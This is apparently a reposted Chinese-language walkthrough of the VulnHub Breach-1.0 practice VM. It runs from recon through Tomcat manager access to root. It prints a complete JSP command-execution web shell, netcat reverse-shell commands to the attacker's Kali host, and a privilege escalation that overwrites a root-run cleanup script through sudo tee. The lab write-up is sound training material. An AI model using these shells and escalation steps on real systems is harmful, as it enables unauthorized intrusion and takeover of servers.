VulnHub 實戰靶場Breach-1.0


相比於CTF題目,Vulnhub的靶場更貼近於實際一些,而且更加綜合考察了知識。在這里記錄以下打這個靶場的過程和心得。

測試環境

  • Kali linux IP:192.168.110.128

  • Breach 1.0 IP:192.168.110.140

    均通過NAT模式連主機

信息搜集

先掃描開放端口,發現開了一大堆。

直接查看80端口Web服務

查看頁面源碼有一串字符

<!------Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo ----->

得到一串意義不明的東西
pgibbons:damnitfeel$goodtobeagang$ta

點擊圖片有跳轉,挨個點擊,發現了一個impress cms

那看到cms第一反應就是去找現成的漏洞,有跨站腳本執行和本地文件包含,但都是在admin的情況下才可以執行, 這個時候我們不妨試試之前解出的那串字符,作為賬號密碼。

發現可以成功,進入之后查看發現有個收件箱,里面三封郵件得到了一個關鍵信息,192.168.110.140/.keystore,是一個SSL證書,訪問鏈接即可下載。

但是線索到這里暫時斷了,但是網上找到一個漏洞信息

漏洞信息
ImpressCMS是一款內容管理系統。
ImpressCMS存在跨站腳本漏洞,可通過PATH_INFO傳遞給otifications.php, modules/system/admin/images/browser.phpmodules/content/admin/content.php腳本的輸入注入WEB腳本或HTML,可獲得敏感信息或劫持用戶會話。

雖然經一系列嘗試無果,但是在訪問modules/content/admin/content.php的時候,由於沒有權限跳轉到了這個頁面

content下面有個鏈接


是一個流量包,那之前拿到的SSL證書就能用到了。

關鍵信息:http://192.168.110.140/impresscms/_SSL_test_phase1.pcap They told me the alias, storepassword and keypassword are all set to 'tomcat'.

查看流量包

打開流量包,直接查看沒有什么有用信息

導入SSL證書,因為是tomcat服務所以端口號選擇8443,

說明我們拿到的證書格式不對,需要PKCS12格式的證書。我們使用keytool查看信息,密碼是tomcat

根據提示信息操作

keytool -importkeystore -srckeystore keystore -destkeystore keystore -deststoretype pkcs12

現在格式正確了

重新導入,多了一些http包

我們篩選一下http包

發現在請求一個網頁,但是第一次沒有成功,比較兩個數據包,發現多了這一行請求。

我們也嘗試訪問這個頁面

https://192.168.110.140:8443/_M@nag3Me/html

但是一直訪問不成功,嘗試抓包

才發現是覺得不安全被攔截了,抓包訪問的時候會讓你輸入賬號密碼

tomcat:Tt\5D8F(#!*u=G)4m7zB

使用流量包中發現的賬號密碼登錄

進入后台

我們進入了一個tomcat的后台界面,發現一個文件上傳點,需要上傳war包。

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

打包成war上傳之后訪問,傳參

成功,但是測試的時候發現隔一會上傳的馬會被刪除,應該是后台有一個定時清除的腳本,因此我們彈一個shell出來

GetShell以及提權

Kali使用nc -lnvp 8888監聽

發送nc -v 192.168.110.128 8888 -e /bin/bash, 成功之后使用python -c 'import pty;pty.spawn("/bin/sh")'進入交互式界面

home目錄下兩個用戶以及/etc/passwd

發現在/var/www/5446/目錄下有兩個奇怪的php文件

發現是數據庫的賬號和密碼,我們連接數據庫看一看

找到了milton用戶的密碼hash

破解得密碼thelaststraw

登錄milton用戶,但是發現很遺憾,這個用戶沒有sudo權限

查看.bash_history

看樣子我們需要得到blumbergh用戶的權限。我們再看milton家目錄下的那張圖片,放到/var/www/html/images/目錄下

檢查這張圖片,並沒有什么玄機。

再查看images下的圖片權限

發現有兩張圖片的權限與其他不同,查看

發現bill.png下面有個commentcoffeestains,結果這個就是blumbergh用戶的密碼,就挺離譜的。

登錄blumbergh用戶,查看.bash_history

查看一下tidyup.sh

就是這個指令之前刪除了我們的shell

但是這個腳本的權限是755, 現有權限並不能更改

但是我們發現現在這個用戶有一個權限,就是可以使用tee指令

因此就有了修改的方式

echo nc -v 192.168.110.128 8888 -e /bin/bash | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

因為這個腳本是root用戶的權限,因此我們通過這個方式反彈出來的shell就是root權限。設置監聽之后等待即可。

至此,成功提權到root


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM